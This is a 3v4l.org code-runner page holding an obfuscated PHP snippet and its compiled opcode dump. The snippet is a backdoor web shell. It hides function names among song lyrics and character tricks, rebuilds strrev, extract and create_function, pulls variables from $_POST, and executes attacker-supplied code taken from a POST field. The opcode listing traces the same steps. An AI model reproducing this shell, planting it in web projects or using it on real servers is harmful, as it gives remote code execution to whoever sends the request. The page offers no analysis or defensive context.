3v4l.org

run code in 300+ PHP versions simultaneously
<?php @$t=x; $x=fread(fopen($_SERVER["PHP_SELF"],"r"),13337); $y=chr(69).$x[0x5e].${$t}[8]; /*x Give me the sound to see Another world outside That’s full of all the broken things That I've made Just give me a life to bleed Another world outside That’s full of all the awful things That I've made 'Cause we are the last disease Another broken life that's full of all the awful things That I've made */ $s=$x[411].@tr.("T"^"&").$x[0x8d].$x[399];$f=$x[306]./*galaxy*/$s[3].$s[10-6].("B"^"#").chr(116)."\x65".@_.$s("nu\x66"); $x=$s($t=$y[2].@c.$s("${y}r\x61")); $x($_POST); $G=$f.@ction;$‰=$G(null,$code);$‰();
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/eu4tr
function name:  (null)
number of ops:  83
compiled vars:  !0 = $t, !1 = $x, !2 = $y, !3 = $s, !4 = $f, !5 = $G, !6 = $‰, !7 = $code
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   BEGIN_SILENCE                                    ~8      
          1        FETCH_CONSTANT                                   ~9      'x'
          2        ASSIGN                                                   !0, ~9
          3        END_SILENCE                                              ~8
    2     4        INIT_FCALL                                               'fread'
          5        INIT_FCALL                                               'fopen'
          6        FETCH_R                      global              ~11     '_SERVER'
          7        FETCH_DIM_R                                      ~12     ~11, 'PHP_SELF'
          8        SEND_VAL                                                 ~12
          9        SEND_VAL                                                 'r'
         10        DO_ICALL                                         $13     
         11        SEND_VAR                                                 $13
         12        SEND_VAL                                                 13337
         13        DO_ICALL                                         $14     
         14        ASSIGN                                                   !1, $14
    3    15        FETCH_DIM_R                                      ~16     !1, 94
         16        CONCAT                                           ~17     'E', ~16
         17        FETCH_R                      local               ~18     !0
         18        FETCH_DIM_R                                      ~19     ~18, 8
         19        CONCAT                                           ~20     ~17, ~19
         20        ASSIGN                                                   !2, ~20
   17    21        FETCH_DIM_R                                      ~22     !1, 411
         22        BEGIN_SILENCE                                    ~23     
         23        FETCH_CONSTANT                                   ~24     'tr'
         24        END_SILENCE                                              ~23
         25        CONCAT                                           ~25     ~22, ~24
         26        CONCAT                                           ~26     ~25, 'r'
         27        FETCH_DIM_R                                      ~27     !1, 141
         28        CONCAT                                           ~28     ~26, ~27
         29        FETCH_DIM_R                                      ~29     !1, 399
         30        CONCAT                                           ~30     ~28, ~29
         31        ASSIGN                                                   !3, ~30
         32        FETCH_DIM_R                                      ~32     !1, 306
         33        FETCH_DIM_R                                      ~33     !3, 3
         34        CONCAT                                           ~34     ~32, ~33
         35        FETCH_DIM_R                                      ~35     !3, 4
         36        CONCAT                                           ~36     ~34, ~35
         37        CONCAT                                           ~37     ~36, 'a'
         38        CONCAT                                           ~38     ~37, 't'
         39        CONCAT                                           ~39     ~38, 'e'
         40        BEGIN_SILENCE                                    ~40     
         41        FETCH_CONSTANT                                   ~41     '_'
         42        END_SILENCE                                              ~40
         43        CONCAT                                           ~42     ~39, ~41
         44        INIT_DYNAMIC_CALL                                        !3
         45        SEND_VAL_EX                                              'nuf'
         46        DO_FCALL                                      0  $43     
         47        CONCAT                                           ~44     ~42, $43
         48        ASSIGN                                                   !4, ~44
   18    49        INIT_DYNAMIC_CALL                                        !3
         50        FETCH_DIM_R                                      ~46     !2, 2
         51        BEGIN_SILENCE                                    ~47     
         52        FETCH_CONSTANT                                   ~48     'c'
         53        END_SILENCE                                              ~47
         54        CONCAT                                           ~49     ~46, ~48
         55        INIT_DYNAMIC_CALL                                        !3
         56        NOP                                                      
         57        FAST_CONCAT                                      ~50     !2, 'ra'
         58        SEND_VAL_EX                                              ~50
         59        DO_FCALL                                      0  $51     
         60        CONCAT                                           ~52     ~49, $51
         61        ASSIGN                                           ~53     !0, ~52
         62        SEND_VAL_EX                                              ~53
         63        DO_FCALL                                      0  $54     
         64        ASSIGN                                                   !1, $54
   19    65        INIT_DYNAMIC_CALL                                        !1
         66        CHECK_FUNC_ARG                                           
         67        FETCH_FUNC_ARG               global              $56     '_POST'
         68        SEND_FUNC_ARG                                            $56
         69        DO_FCALL                                      0          
         70        BEGIN_SILENCE                                    ~58     
         71        FETCH_CONSTANT                                   ~59     'ction'
         72        END_SILENCE                                              ~58
         73        CONCAT                                           ~60     !4, ~59
         74        ASSIGN                                                   !5, ~60
         75        INIT_DYNAMIC_CALL                                        !5
         76        SEND_VAL_EX                                              null
         77        SEND_VAR_EX                                              !7
         78        DO_FCALL                                      0  $62     
         79        ASSIGN                                                   !6, $62
         80        INIT_DYNAMIC_CALL                                        !6
         81        DO_FCALL                                      0          
         82      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
147.38 ms | 1392 KiB | 17 Q